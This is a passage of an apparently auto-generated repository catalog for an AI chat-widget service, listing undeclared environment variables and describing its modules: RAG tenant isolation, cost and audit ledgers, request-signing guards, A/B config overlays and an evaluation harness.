# openalice-embed > **Product #1 on the OpenAlice platform** (level 3 of company → platform → products). Everything Embed lives here; the platform is consumed ONLY as versioned artifacts. ## At a glance | field | value | |---|---| | kind | `service` | | priority | `—` | | default branch | `mvp` | | last activity | 2026-07-15T22:37:05+00:00 | | features catalogued | **678** | | runtime deps declared | **0** | ## Manifest `.atlas-deps.yml` — parsed cleanly: **yes** ## Env drift **Code reads, manifest omits (90):** - `ALICE_INTERNAL_URL` - `AUTH_INTERNAL_URL` - `AUTH_JWKS_URL` - `BILLING_PUBLIC_BASE_URL` - `BILLING_WEBHOOK_BASE_URL` - `BOOKING_REMINDER_LEAD_HOURS` - `BREVO_API_KEY` - `BREVO_SENDER_EMAIL` - `BREVO_SENDER_NAME` - `CHAT_BRIDGE_DB_URL` - `CHAT_BRIDGE_INTERNAL_URL` - `DATABASE_URL` - `EMBED_ACCOUNTS_INTERNAL_URL` - `EMBED_ACCOUNTS_PORT` - `EMBED_ACCOUNTS_RLS_ENFORCE` - `EMBED_ACCOUNTS_URL` - `EMBED_ADMIN_TENANT_IDS` - `EMBED_API_KEY` - `EMBED_BASE_URL` - `EMBED_DASHBOARD_DEV_TOKEN` - `EMBED_DEV_TENANT_ID` - `EMBED_DEV_TENANT_PLAN` - `EMBED_MODEL` - `EMBED_RUNTIME_BIND_ADDR` - `EMBED_RUNTIME_DEFAULT_LLM_MODEL` - `EMBED_RUNTIME_DEFAULT_LLM_PROVIDER` - `EMBED_RUNTIME_DEFAULT_STT_PROVIDER` - `EMBED_RUNTIME_DEFAULT_TTS_PROVIDER` - `EMBED_RUNTIME_DEFAULT_TTS_VOICE` - `EMBED_RUNTIME_INTERNAL_URL` - `EMBED_RUNTIME_VISION_BASE_URL` - `EMBED_RUNTIME_VISION_MODEL` - `EMBED_UPGRADE_URL` - `EXPORT_DOWNLOAD_SIGNING_KEY` - `EXPORT_ROOT` - `FGA_ENFORCE` - `FGA_SHADOW` - `INTERNAL_BROADCAST_SECRET` - `INTERNAL_SECRET` - `KB_ASSET_BASE_URL` - `KB_REINDEX_DAYS` - `KB_UPLOAD_DIR` - `LEGAL_BASE_URL` - `LIVE_CONTROL_INTERNAL_URL` - `MISTRAL_API_KEY` - `MOLLIE_API_KEY` - `MOLLIE_WEBHOOK_SECRET` - `NEXT_OUTPUT` - `NEXT_PHASE` - `NEXT_PRIVATE_DEBUG_CACHE` - `NEXT_PRIVATE_TEST_PROXY` - `NEXT_PUBLIC_AGENT_BASE` - `NEXT_PUBLIC_APP_URL` - `NEXT_PUBLIC_DASHBOARD_URL` - `NEXT_PUBLIC_EMBED_API_BASE` - `NEXT_PUBLIC_SDK_URL` - `NEXT_SSG_FETCH_METRICS` - `NODE_INSPECTOR_IPC` - `OA_NEXT_DIST_DIR` - `OA_SECRETS_MASTER_KEY` - `OPENALICE_ENV` - `OPENROUTER_API_KEY` - `PERSONA_INTERNAL_URL` - `POSTER_CHROMIUM_PATH` - `PREPAID_RATE_CONVERSATION_CENTS` - `PREPAID_RATE_VOICE_MINUTE_CENTS` - `PREVIEW_ALLOWED_DOMAINS` - `RAG_DATABASE_URL` - `S2_PUBLIC_BASE` - `S2_QR_BASE` - `S2_REFERRAL_URL` - `SETUP_GEN_BASE_URL` - `SHARED_JWT_SECRET` - `SOCIAL_API_INTERNAL_URL` - `SSO_PUBLIC_URL` - `TENANT_RATE_LIMIT_PER_MINUTE` - `TENANT_VRM_DIR` - `TSC_NONPOLLING_WATCHER` - `TSC_WATCHDIRECTORY` - `TSC_WATCHFILE` - `TS_ETW_MODULE_PATH` - `VISITOR_DB_URL` - `VITE_EMBED_API_BASE` - `VITE_EMBED_BASE` - `VOICE_INTERNAL_URL` - `VRM_ASSET_BASE_URL` - `VSCODE_CWD` - `VSCODE_INSPECTOR_OPTIONS` - `WIDGET_SHARE_ACCEPT_URL` - `WORLD_INTERNAL_URL` ## Features (678) ### agent-lite/agent - **`agent-lite.agent.runtime`** — The AgentLite struct — composes openalice-llm-router (LLM calls), openalice-stt (voice-in transcription), and a BrandKnowledge provider (RAG). Tracks live conversations in a DashMap so the Embed widget can resume a session by id. *embed-runtime/src/agent.rs:1* ### agent-lite/analytics - **`agent-lite.analytics.summary`** — Per-widget analytics rollup over the EU-sovereign local Postgres ledgers. Aggregates three tables — `cost_events`, `tool_audit_events`, and the per-conversation activity they imply — into one JSON summary scoped STRICTLY by `(tenant_id, widget_id)` over a trailing `days` window. ── Data sources & derivations ────────────────────────────────────────────── Conversations are NOT persisted (they live in an in-process DashMap), so we derive activity from the billable/audit trail both tables share: - conversations = COUNT(DISTINCT conversation_id) in cost_events - messages = COUNT of LLM cost events (one LLM call ≈ one assistant turn — the closest durable proxy) - tool_calls_total = COUNT of tool_audit_events (any outcome) - tool_calls_by_name = GROUP BY tool_name - escalations = tool_audit_events WHERE tool_name='escalate_to_human' AND outcome='ok' (an actually-executed handoff) - deflection_rate = 1 - escalations / conversations (clamped to [0,1]) - avg_turns = messages / conversations - cost_cents_total = SUM(cost_cents) - by_day = per-UTC-day { conversations, cost_cents } The folding math (`AnalyticsSummary::from_parts`) is a PURE function so the response shape is unit-testable without a live DB. The SQL helpers are thin read queries over the same pool the cost ledger owns. *embed-runtime/src/analytics.rs:1* ### agent-lite/anomaly - **`agent-lite.anomaly.alert`** — Per-widget traffic-anomaly detection + owner alerting for the PUBLIC `/v1/embed/*` surface (S2 MODULE 4, architecture Р6; acceptance = S2-HANDOFF §P0 item 4: «синтетический спам упирается в лимиты; владелец получает алерт; минус невозможен»). What this is (and deliberately isn't): a SIMPLE fixed-threshold spike detector. Each widget owns one fixed 10-minute counting window (sessions + messages, counted at the HANDLER level — i.e. only traffic that resolved to a real widget; 404 spam and uptime probes never count). When either count EXCEEDS its threshold the detector emits ONE [`AnomalyAlert`], and the per-widget cooldown (1 hour) suppresses further alerts so an ongoing flood emails the owner at most once per hour — never a mailbox flood. No moving averages, no per-widget learned baselines: fixed thresholds from env (`EMBED_ANOMALY_SESSIONS_PER_10MIN` / `EMBED_ANOMALY_MESSAGES_PER_10MIN`), per the module brief («keep it SIMPLE»). Why this exists IN ADDITION to the rate limiter: the limiter caps a single IP (per-conversation + per-IP fixed windows → 429). A distributed spammer (many IPs, each under its own cap) sails past per-IP limits — but the AGGREGATE per-widget counts here still spike, and the OWNER gets told. Cost is already bounded upstream regardless (conversation/message quota + prepaid cap — «минус невозможен» holds even if no alert fires). Delivery reuses the EXISTING transactional-email channel (launch-ops #24): the Brevo [`crate::mailer::Mailer`] that already sends transcript emails from THIS service. Recipient resolution (see [`AnomalyDetector::recipient_for`]): the widget's configured notification inbox (`AgentConfig.transcript_email .to_address`, taken whenever syntactically valid — the transcript `enabled` flag gates TRANSCRIPTS, not abuse alerts) falling back to the operator address in `EMBED_ANOMALY_ALERT_EMAIL`. No recipient / disabled mailer ⇒ the alert still lands as a WARN log line (+ Prometheus counter), never an error on the visitor's request path. Memory: both maps are keyed by widget namespace and only ever populated for RESOLVED widgets (bounded by the real widget count), so no pruner is needed. *embed-runtime/src/anomaly.rs:1* ### agent-lite/audit - **`agent-lite.audit.tool-events`** — Tool-call audit trail. Every tool the ReAct loop touches is recorded as a `(tool_name, outcome)` row — for security review, abuse detection, and governance. Mirrors the cost-ledger design: 1. A `ToolAuditSink` trait with three impls: - `PostgresToolAuditSink` — fire-and-forget INSERT onto a shared `PgPool` (the cost-ledger pool), so a slow/failed DB write never blocks or breaks a conversation turn. - `NullToolAuditSink` — no-op (the default when no DB is wired). The turn never fails on audit being absent. - `InMemoryToolAuditSink` — a recording sink used by tests (and only tests) to assert outcomes without a live DB. 2. A `ToolAuditEvent` value carrying ONLY non-PII fields: the attribution ids (tenant / widget / conversation), the tool name, the outcome, and an OPTIONAL list of argument KEYS (never values — values may contain visitor PII). No argument values, no secrets, ever. ── EU-sovereign ────────────────────────────────────────────────────────── The audit table lives on the same local PG instance as the cost ledger + visitor memory (VISITOR_DB_URL). No tool telemetry leaves the operator's infrastructure. Argument VALUES are deliberately never persisted. *embed-runtime/src/audit/mod.rs:1* ### agent-lite/avatars - **`agent-lite.avatars.catalog`** — The VRM avatar catalog agent-lite OWNS and exposes publicly. The dashboard shows these as picker cards; a tenant stores the chosen `vrm_id` in `Appearance.vrm_id`, and the embed session bootstrap resolves it to an absolute `vrm_url` the widget loads (mirrors how `logo_url` is surfaced). Catalog URLs are built from a single `asset_base` (env `EMBED_ASSET_BASE`, default `https://embed.blal.pro`) so the same code serves dev / prod by swapping one env var. VRM files live under `{asset_base}/v1/vrm/.vrm`. *embed-runtime/src/avatars.rs:1* ### agent-lite/bin - **`agent-lite.bin.agent-eval`** — Text-only evaluation harness for the agent-lite ReAct tool-loop. NAO's #1 quality gate — "our eyes". Drives the REAL streaming loop (run_tool_loop) against OpenRouter and scores tool-selection, scope adherence, grounding, and over/under-calling — WITHOUT spending STT/TTS tokens (text layer only). EU-sovereign: every LLM call routes through the llm-router OpenRouter adapter. USAGE: cargo run -p openalice-agent-lite --bin agent_eval → economy run: ONE cheap EU model (mistralai/mistral-small-2603) × 5. cargo run -p openalice-agent-lite --bin agent_eval -- --full → all ~11 scenarios. cargo run -p openalice-agent-lite --bin agent_eval -- \ --models mistralai/mistral-small-2603,mistralai/mistral-large-2512 → custom model list (comma-separated OpenRouter ids). ECONOMY: defaults to one cheap model + the small scenario set. Output is bounded by tool_max_iterations=3 + tool_calls_per_session_max=6 per turn. If OPENROUTER_API_KEY is unset, the harness prints "skipped: no key" and exits 0 (so it never fails CI or a dry run). This binary never runs under `cargo test` (it is a [[bin]], not a #[test]), so the test suite stays free of live API calls. Only the pure scoring logic in `crate::eval` is unit-tested. *embed-runtime/src/bin/agent_eval.rs:1* - **`agent-lite.bin.server`** — Binary entry point for the agent-lite HTTP/WS service. Boot sequence: 1. Init tracing (RUST_LOG env, defaults to "info,openalice=debug"). 2. Load ServerConfig from env vars (no clap/figment dep). 3. Build the LLM router — real OpenRouter adapter when OPENROUTER_API_KEY is set, MockAdapter otherwise (so the server starts in dev mode without any keys). 4. Build the STT + TTS routers similarly. 5. Construct AgentLite::without_knowledge (brand-KB wired by tenants at conversation-start via brand_kb_url in AgentConfig). 6. Build the Axum router via embed_runtime::http::router. 7. Bind + serve. *embed-runtime/src/bin/embed_runtime_server.rs:1* ### agent-lite/brand - **`agent-lite.brand.inmemory`** — In-memory BrandKnowledge — naive case-insensitive substring match. For tests and dev mode only. Real RAG lives in openalice-rag. *embed-runtime/src/brand/inmemory.rs:1* - **`agent-lite.brand.knowledge-trait`** — `BrandKnowledge` trait — abstraction over RAG retrieval. agent-lite asks for "top-k chunks for this query" and gets back text. The actual RAG implementation (scrape + chunk + embed + retrieve) lives in a future `openalice-rag` sibling crate. This trait lets us ship the runtime today with an in-memory backend, then swap in real RAG without re-touching agent-lite call sites. *embed-runtime/src/brand/mod.rs:1* - **`agent-lite.brand.null`** — Null BrandKnowledge — always returns empty. Used by tenants without a configured brand_kb_url. *embed-runtime/src/brand/null.rs:1* - **`agent-lite.brand.rag`** — Production BrandKnowledge — backs `search_knowledge` (and the front-loaded per-turn RAG) with the real `openalice-rag` `RagRouter` over a pgvector store + an EU-sovereign Mistral embedder. Tenant isolation is the whole point: every retrieve threads the conversation's `tenant_id` straight into `RagRouter::retrieve_scoped`, so one tenant can never read another tenant's indexed chunks (the store filters on the `tenant_id` column before the ANN scan). openalice-rag 0.1.3 (audit finding B1, 2026-07) made `retrieve_scoped`'s tenant_id MANDATORY — the crate no longer has an unscoped/admin retrieve path at all, and the pgvector store additionally FORCE-enforces isolation at the Postgres RLS layer. `BrandKnowledge::retrieve` keeps its `Option<&str>` shape (every real caller already passes `Some` — see `tools::universal::SearchKnowledgeTool` and `agent.rs`); a `None` here would be a bug in a future caller, not a legitimate unscoped path, so it is refused (logged, empty result) rather than silently widened into an unscoped DB query. *embed-runtime/src/brand/rag.rs:1* ### agent-lite/config - **`agent-lite.config.agent-config`** · _HELD (branch u-slice4-pii-toggle, pending merge to mvp)_ — Per-tenant configuration for one Lite agent instance. Hot-reloadable from openalice-tenants — every conversation snapshots the config at creation, so a live config change doesn't disrupt mid-conversation visitors. @feature agent-lite.config.pii-redaction-toggle Per-widget opt-in PII-redaction toggle for transcript email bodies (`TranscriptEmail.redact_pii`, `#[serde(default)]` = false). When true, each message's text is passed through the regex-based PII redactor (`memory::redact::redact_text`) before being formatted into the HTML email — scrubs email addresses, E.164 phone numbers, and long digit runs (card / IBAN-like). Default is `false` so lead-capture widgets keep the visitor's contact details in the inbox; privacy- maximised deployments opt in explicitly via the embed-app TranscriptEmailEditor. Safe to merge to mvp: old config rows without the key deserialise as `false` (no behaviour change). Also adds the global `AgentConfig.pii_redaction` field (true by default via `default_pii_redaction`) that gates PII scrubbing from the in-memory conversation transcript store. *embed-runtime/src/config.rs:1* ### agent-lite/config-resolver - **`agent-lite.config-resolver.tenants`** — `TenantsConfigResolver` — the production `ConfigResolver`: fetches a widget's trusted `AgentConfig` from openalice-tenants over HTTP (`GET /internal/widgets/:public_id/config`, gated by the shared `X-Internal-Secret` per scope-internal-auth-only). The tenants response is exactly the `AgentConfig` JSON shape, so resolution is a direct deserialize. 404 → `None` (unknown / paused widget); other failures → `Err` so the session endpoint returns 502 rather than silently 404-ing. *embed-runtime/src/config_resolver/tenants.rs:1* - **`agent-lite.config-resolver.trait`** — `ConfigResolver` — resolves a widget's `AgentConfig` SERVER-SIDE from its opaque `widget_id`, for the public Embed session-bootstrap endpoint. WHY this exists: the public widget runs on third-party pages and must NOT send its own persona / budgets / consent config from the browser (that would leak + be spoofable). Instead the widget sends only `{widget_id, visitor_id, consent}`, and the server looks up the trusted config. This trait is the lookup seam — same pluggable shape as `BrandKnowledge` / `VisitorMemory`: - `StaticConfigResolver` (this crate) — in-memory map for dev + tests. - `NullConfigResolver` (this crate) — resolves nothing (404); the safe default until a real resolver is wired. - future `TenantsConfigResolver` — HTTP to openalice-tenants `/internal/widgets/:id/config` (X-Internal-Secret), per `scope-internal-auth-only`. Swaps in without touching call sites. *embed-runtime/src/config_resolver/mod.rs:1* ### agent-lite/conversation - **`agent-lite.conversation.page-context-overlay`** — Entry-point WIRING proof for the S2 F1 hosted-page persona overlay (integration tests originate at the HTTP handler — the org's prompt-wiring-test-at-entry-point rule). Hermetic: a CAPTURING LLM adapter (records every ChatRequest's messages), a stubbed config resolver, and a fake BookingApi that resolves the widget's hosted page server-side. We dispatch in-process via `tower::ServiceExt::oneshot`. Proves, end-to-end through POST /session → POST /message: - a session bootstrapped WITH `page_slug` (the /l/{slug} mount's claim) reaches the LLM with the PAGE-CONTEXT OVERLAY directly after the persona AND the RELAXED scope-lock right behind it; - a session WITHOUT the claim keeps the exact pre-F1 prompt (no overlay, strict lock — the personality-preservation guarantee); - a MISMATCHED claim (stale/spoofed slug ≠ the widget's real page) is ignored — server-side verification, the browser can never inject context. *embed-runtime/tests/page_overlay_test.rs:1* - **`agent-lite.conversation.sentiment`** — Per-conversation SENTIMENT classification — the PURE parts: prompt builder + strict-JSON parser. The LLM call itself lives on `AgentLite` (it owns the router); these helpers are kept side-effect-free so they unit-test without a provider. Contract: a CHEAP one-shot call on the EU Mistral returns strict JSON `{ "sentiment": "positive"|"neutral"|"negative", "score": 1-5 }`. We tolerate the model wrapping it in ```json fences or trailing prose by extracting the first balanced `{ … }` object; on any parse failure we return `None` so the conversation simply stays unscored (never an error). *embed-runtime/src/transcript/sentiment.rs:1* - **`agent-lite.conversation.state`** — Per-conversation state — bounded message window, token + turn counters, brand-knowledge snippets pulled in for the current exchange. Conversations are short-lived (one visitor session) and never persisted across visitors. *embed-runtime/src/conversation/mod.rs:1* ### agent-lite/cost - **`agent-lite.cost.ledger`** — Persistent cost ledger. Each sister crate (STT / LLM / TTS) emits a `CostEvent` via its own `CostTracker` trait after every billable call. This module provides: 1. `CostCtx` + a tokio task-local (`COST_CTX`) carrying the per-turn attribution (tenant / widget / conversation). The crate `CostEvent` types only carry `tenant_id` — widget_id + conversation_id are NOT on them — so we thread that context out-of-band via the task-local. 2. `PostgresCostTracker` — one struct implementing all three crates' `CostTracker` traits. On `record` it reads the current `COST_CTX`, flattens the per-kind metric into a JSONB bag, and INSERTs a row fire-and-forget (`tokio::spawn`) so a slow/failed DB write can never block or break a conversation turn. It also re-emits the existing INFO log line so live `docker logs` tailing is unchanged. 3. Summary aggregation (`CostSummary`) + the SQL the `GET /internal/cost/summary` endpoint runs (tenant-window or single conversation), including a documented $/minute derivation. ── Why a task-local (design choice) ────────────────────────────────────── The three routers are each built ONCE at boot, wrapped in `Arc`, and shared across every concurrent conversation; their `CostTracker` is set once via `with_tracker`. So a tracker can't be "created per turn", and an `Arc>>` on the tracker would race across concurrent turns. A tokio task-local is the clean fit: each turn runs in its own task (the non-stream handler task, or the spawned streaming task), so scoping the router call(s) with `cost::scope(ctx, fut)` attributes every `CostEvent` that fires inside that future — including the streaming tracker callback, which runs in the SAME task. Calls made OUTSIDE any scope (e.g. warm-up filler synthesis) simply record with widget/ conversation = NULL, which the schema allows. *embed-runtime/src/cost.rs:1* ### agent-lite/crate - **`agent-lite.crate.runtime`** — Lightweight per-conversation agent runtime. Composes the model-agnostic sister crates (openalice-llm-router, openalice-stt, future openalice-tts) into a single REST + WS surface that powers the OpenAlice Embed widget. Distinct codebase from Alice Full — zero coupling to its 315k-LOC runtime. *embed-runtime/src/lib.rs:1* ### agent-lite/crypto - **`agent-lite.crypto.lead_cipher`** — AES-256-GCM cipher for the PII content columns of `embed_leads` (name / email / phone / message). The raw cipher (`Cipher`) is a VERBATIM mirror of the org reference impl in `openalice-tenants/src/crypto.rs` (`tenants.crypto.cipher`) — same `OA_SECRETS_MASTER_KEY` 64-hex master key, same `[12-byte random nonce][ciphertext+tag]` wire format, same no-key degradation. We do NOT hand-roll AES; we reuse that proven shape so the org has ONE crypto envelope. On top of the raw cipher this module adds a self-describing, forward-compatible TEXT envelope so encrypted and legacy-plaintext rows coexist in the same column with NO bulk migration: - `seal`: plaintext becomes `enc:v1:`. - `open`: an `enc:v1:` value decrypts; anything without the marker reads back verbatim (a legacy plaintext row is unchanged). Key handling (mirrors the tenants `Cipher::from_env` posture): - `OA_SECRETS_MASTER_KEY` set + valid 64-hex: `Some(Cipher)`, PII encrypted on write. - set but malformed: boot fails fast (caller `.expect`s). - UNSET / empty: `None`, values written + read as PLAINTEXT (dev/test + self-hosted-without-a-key stay green; existing tests unaffected). The recovered PII is only ever returned to the dashboard over the X-Internal-Secret-gated `/internal/insights/leads` read path. *embed-runtime/src/crypto.rs:3* ### agent-lite/error - **`agent-lite.error.agent-error`** — Typed errors for the agent-lite runtime. Wraps sister-crate errors (LLMError / STTError / TTSError) plus our own (unknown tenant, conversation not found, brand-kb fetch failed, etc). *embed-runtime/src/error.rs:1* ### agent-lite/eval - **`agent-lite.eval.harness`** — Text-only evaluation harness for the ReAct tool-loop. NAO's #1 quality gate — "our eyes". Measures tool-selection correctness, scope adherence, grounding, and over/under-calling, WITHOUT spending STT/TTS tokens (text layer only). EU-sovereign: every LLM call goes through the llm-router's OpenRouter adapter. The harness drives the REAL streaming path ([`AgentLite::user_message_stream`] → `run_tool_loop`) so it exercises the actual loop, guards, allowlist, dedup, and grounding — not a re-implementation. It captures the `StreamEvent` stream (which tools fired via `ToolActivity` / `UiAction` / `Escalate`, and the final `Done` text), then scores each scenario's expectations. This module is pure data + scoring + a thin async runner. The binary (`src/bin/agent_eval.rs`) owns the CLI, the Router construction, and the table rendering. Only the scoring logic is unit-tested (the bin never runs under `cargo test`, so CI stays free of live API calls). *embed-runtime/src/eval/mod.rs:1* ### agent-lite/experiments - **`agent-lite.experiments.assign`** — Stateless, deterministic A/B variant assignment for the within-widget traffic split (v1: the client defines variants + weights; the runtime assigns a visitor to one variant and measures the outcome). ── Why deterministic (no rand) ────────────────────────────────────────────── The same visitor must get the SAME variant every time they re-bootstrap a session ("stickiness"), with NO server-side per-visitor state to store. We hash `"{key}:{experiment_id}"` with FNV-1a (a fast, well-distributed, dependency-free non-cryptographic hash) and bucket the hash into a cumulative-weight CDF over the variants. Same inputs ⇒ same bucket ⇒ same variant, forever, on any node. ── Hash key (the T0 decision) ─────────────────────────────────────────────── The caller chooses the key: a durable `visitor_id` for a known visitor, or the `conversation_id` for a pure-T0 anonymous visitor (no visitor_id). A T0 visitor is anonymous + ephemeral by definition, so within-conversation stickiness (re-hash on the next conversation) is the right granularity. ── Weights ────────────────────────────────────────────────────────────────── Weights are accepted as ANY positive integers and NORMALIZED at assignment via the cumulative-weight CDF (probability = weight / total_weight). A variant with weight 0 is NEVER selected (its CDF slice is empty). An empty variant list — or a total weight of 0 — yields `None` (the session uses the baseline config: never crash, never force a variant). *embed-runtime/src/experiment.rs:1* - **`agent-lite.experiments.overlay`** — `config_overlay` merge for the A/B experiment engine — the READ-GUARD half of a two-sided allowlist (the tenants write-validation is the other half). When a visitor is assigned an experiment variant, that variant carries a `config_overlay` JSON object the runtime applies on top of the resolved `AgentConfig` BEFORE the conversation opens. Only a small, hard-coded set of SAFE fields may be overlaid; every other key is IGNORED (logged at TRACE). ── Why a hard allowlist (security-critical) ───────────────────────────────── An experiment must NEVER be able to flip a consent / privacy / security field. Overriding `consent_us_llms`, `tools_enabled`, `allowed_domains`, `transcript_retention_days`, `escalation_*`, or `memory_tier` from an experiment overlay would let a content experiment silently change data residency, the tool surface, the domain gate, or the retention posture. So the overlay can ONLY touch the visitor-facing CONTENT fields below: greeting, greeting_enabled, persona_script, llm_model, locale. `llm_provider` is deliberately EXCLUDED in v1 (a provider switch can shift data residency Mistral-EU↔OpenRouter-US and must be consent-checked — out of scope for a stateless overlay). The allowlist is enforced HERE and again in the tenants write path; a key absent from [`SAFE_OVERLAY_FIELDS`] is dropped. *embed-runtime/src/ab_overlay.rs:1* ### agent-lite/http - **`agent-lite.http.analytics-summary`** — Internal per-widget analytics endpoint over the EU-sovereign local ledgers. GET /internal/analytics/summary?widget_id=[&days=] Auth: `X-Internal-Secret: ` — the SAME header + env the cost-summary endpoint and the agent-lite → tenants internal calls use (scope-internal-auth-only), via oa_framework::verify_internal_secret (503 unset / 403 mismatch). The endpoint is OFF (503) when `INTERNAL_SECRET` is unset, so it can never be reached unauthenticated. Mounted OUTSIDE the public rate-limited surface. Scoping: the widget's `tenant_id` is resolved server-side via the same `ConfigResolver` the embed routes use, so every aggregate query is bounded by BOTH `(tenant_id, widget_id)` — one customer can never see another's data even if they spoof a widget id (an unknown widget 404s). Returns the aggregated `AnalyticsSummary` (see crate::analytics): { conversations, messages, tool_calls_total, tool_calls_by_name, escalations, deflection_rate, avg_turns, cost_cents_total, *embed-runtime/src/http/handlers/analytics.rs:1* - **`agent-lite.http.auth`** — Tenant-bearer extractor for the ADMIN / operator conversation surface (`/v1/conversations*`). The bearer is a real, signed HS256 access token minted by `openalice-auth`; agent-lite verifies it here via the shared `openalice-axum-common::auth::validate_hs256_access_token` seam and reads the verified tenant id from the `tid` claim (falling back to `sub` for legacy single-tenant tokens). THREAT MODEL (P0-4): before this, ANY non-empty bearer string was accepted verbatim as the tenant_id, so the admin surface was effectively unauthenticated and tenant isolation was illusory — a caller could read any tenant's transcripts by simply sending that tenant's id as the bearer. Now the token must carry a valid signature under the cluster `SHARED_JWT_SECRET` and the openalice-auth issuer, and the tenant id is taken from the verified claims, never from a client-controlled string. NOTE: this guards ONLY the admin/operator `/v1/conversations*` routes. The PUBLIC embed-session flow (`/v1/embed/*`) does NOT use this extractor — it authenticates visitors with conversation-scoped capabilities + the env-gated Turnstile / HMAC guards, and is entirely unaffected by this change. *embed-runtime/src/http/auth.rs:1* - **`agent-lite.http.cost-summary`** — Internal cost-summary endpoint over the persistent cost ledger. GET /internal/cost/summary?tenant=[&from=][&to=] GET /internal/cost/summary?conversation= Auth: `X-Internal-Secret: ` — the SAME header + env the agent-lite → tenants internal calls use (scope-internal-auth-only). The endpoint is OFF (503) when `INTERNAL_SECRET` is unset, so it can never be reached unauthenticated. Mounted OUTSIDE the public rate-limited surface. Returns the aggregated `CostSummary` (see crate::cost): total_cents, by_kind {stt,llm,tts}, by_provider, event_count, and — when a conversation duration can be derived — total_conversation_seconds + cost_per_minute / cost_per_hour. $/min derivation = the SPAN of a conversation's cost events (max ts - min ts); rough, labelled via `duration_basis = "cost_event_span"`. *embed-runtime/src/http/handlers/cost.rs:1* - **`agent-lite.http.e2e-message-turn`** — Hermetic end-to-end smoke for a full PUBLIC embed message turn: a stubbed config resolver (StaticConfigResolver) + a mocked LLM (MockAdapter, no network) + an in-memory brand KB. We dispatch in-process via `tower::ServiceExt::oneshot` (no TCP listener), exactly like http_test.rs. Asserts: - POST /v1/embed/{widget_id}/session → 201 with a conversation_id, the new default_mode / call_mode fields, and (no signing secret wired) NO sig_key. - POST /v1/embed/conversations/{id}/message → 200 with the mocked reply. - The `agent_lite_rag_hits_total` Prometheus counter MOVED across the turn (the front-loaded RAG retrieve found the seeded chunk), proving the metrics wiring fires on the real message path. No DB, no network — fully hermetic. *embed-runtime/tests/e2e_message_turn_test.rs:1* - **`agent-lite.http.embed-guard`** — Two independent, ENV-GATED security guards for the PUBLIC `/v1/embed/*` widget surface (§0.2). Both default OFF — when their env var is unset the middleware is a pure pass-through and the endpoints behave exactly as they did before this module existed (the live demo keeps working). They enforce ONLY when configured. These layer ON TOP of the existing per-(IP, resource) rate limiter (see [`crate::http::rate_limit`]); composition order is set in [`crate::http::router`]: rate-limit → guard → handler. GUARD 1 — Cloudflare Turnstile (bot defense on session bootstrap): Env `TURNSTILE_SECRET` (unset → OFF). When set, the session bootstrap `POST /v1/embed/:widgetId/session` must carry a Turnstile token, read from the JSON body field `turnstile_token` OR the `cf-turnstile-response` header (body takes precedence). The token is verified server-side via `POST https://challenges.cloudflare.com/turnstile/v0/siteverify` (form: secret, response, optional remoteip). Failure → 403 JSON. One verify call per session bootstrap (cheap, low rate); nothing cached. GUARD 2 — HMAC request signature (origin integrity on message turns): Env `EMBED_SIGNING_SECRET` (unset → OFF). When set, the message + stream + stt routes (`POST /v1/embed/conversations/:id/message[/stream]`, `…/stt`) must carry headers: X-OA-Timestamp — unix seconds (decimal) X-OA-Signature — lowercase-hex HMAC-SHA256 over the exact ASCII string `"{conversation_id}.{timestamp}"`, keyed by the UTF-8 bytes of the PER-SESSION `sig_key` STRING. Reject (401 JSON) on: missing header, unparseable timestamp, skew > 300 s in either direction, or signature mismatch. The compare is constant-time (`subtle::ConstantTimeEq`) so it can't leak via timing. SIGNATURE SCHEME (matches the shipping widget byte-for-byte): sig_key = lowercasehex( HMAC_SHA256(key = EMBED_SIGNING_SECRET, msg = conversation_id) ) ← issued ONCE in the session bootstrap response; the widget imports it as raw key material. message = format!("{conversation_id}.{timestamp}") (conv id FIRST) signature = lowercasehex( HMAC_SHA256(key = sig_key.as_bytes(), msg = message) ) The widget computes `signature` for every message/stream/stt POST using the `sig_key` STRING (NOT hex-decoded) as the HMAC key. The server re-derives the same `sig_key` from `EMBED_SIGNING_SECRET` + `conversation_id`, so no per-session state is stored. DEFAULT OFF until `EMBED_SIGNING_SECRET` is provisioned. *embed-runtime/src/http/embed_guard.rs:1* - **`agent-lite.http.error`** — IntoResponse implementation for AgentLiteError → HTTP status mapping. Maps each typed error variant to the most specific HTTP status code and a JSON error body so the Embed widget can distinguish recoverable from terminal errors without parsing the message string. *embed-runtime/src/http/error.rs:1* - **`agent-lite.http.gdpr-export`** — Internal GDPR data-export slice for the tenants orchestrator. GET /internal/me/{tenant_id}/export.json Auth: `X-Internal-Secret: ` — the SAME header + env the rest of the /internal surface uses (scope-internal-auth-only). OFF (503) when INTERNAL_SECRET is unset, so it can never be reached unauthenticated. The openalice-tenants GDPR orchestrator fans out to each sibling service's `/internal/me//export.json`, gated by X-Internal-Secret, and folds whatever JSON it returns into the subject's export ZIP. This endpoint returns the visitor data agent-lite holds for the tenant: the visitor profiles + their distilled facts. The orchestrator tolerates any shape, so we return a small self-describing object (always valid JSON, never a 404) that names the service + tenant and lists the profiles. KEYING CAVEAT: agent-lite namespaces visitor memory by the WIDGET (`"{widget_id}:{visitor_id}"`), not the tenant — and it has no local tenant→widget index. So the export matches profiles whose namespace prefix equals the supplied id. This captures (a) widgets that predate the widget-id field (namespace == tenant_id) and (b) callers that pass a widget id. A tenant whose widgets all carry distinct `wgt_*` ids will get an empty-but-valid slice here; surfacing those would require a tenant→widget map this service doesn't own. Documented residual, not a 404. *embed-runtime/src/http/handlers/me_export.rs:1* - **`agent-lite.http.handlers`** — Handler modules for the agent-lite REST + WS surface. All route handlers are assembled by `http::router()` in the parent module. *embed-runtime/src/http/handlers/mod.rs:1* - **`agent-lite.http.handlers.conversations`** — REST + WS handlers for the conversation lifecycle. POST /v1/conversations — start a new conversation POST /v1/conversations/:id/messages — send a user message GET /v1/conversations/:id — fetch transcript snapshot DELETE /v1/conversations/:id — end a conversation GET /v1/conversations/:id/stream — WebSocket upgrade; streams TranscriptChunk + AgentReply JSON text frames. POST /v1/conversations/:id/takeover — live takeover v1: human operator takes over POST /v1/conversations/:id/operator-message — operator sends a message POST /v1/conversations/:id/release — hand back to the agent Auth model: Every route requires `Authorization: Bearer ` — a VERIFIED HS256 access token (see [`crate::http::auth::TenantBearer`]). The tenant_id is read from the token's verified claims, never from a client string. On start_conversation that verified tenant_id is injected into the AgentConfig so analytics attribute the conversation and a misconfigured body can't impersonate another tenant. On GET the verified tenant_id must match the conversation's tenant_id to see the full transcript. *embed-runtime/src/http/handlers/conversations.rs:1* - **`agent-lite.http.handlers.embed-session`** — Public visitor-runtime session bootstrap (§0.1 §5). POST /v1/embed/:widget_id/session → 201 { conversation_id, visitor_tier, memory_preamble? } This is the PUBLIC visitor surface — distinct from the 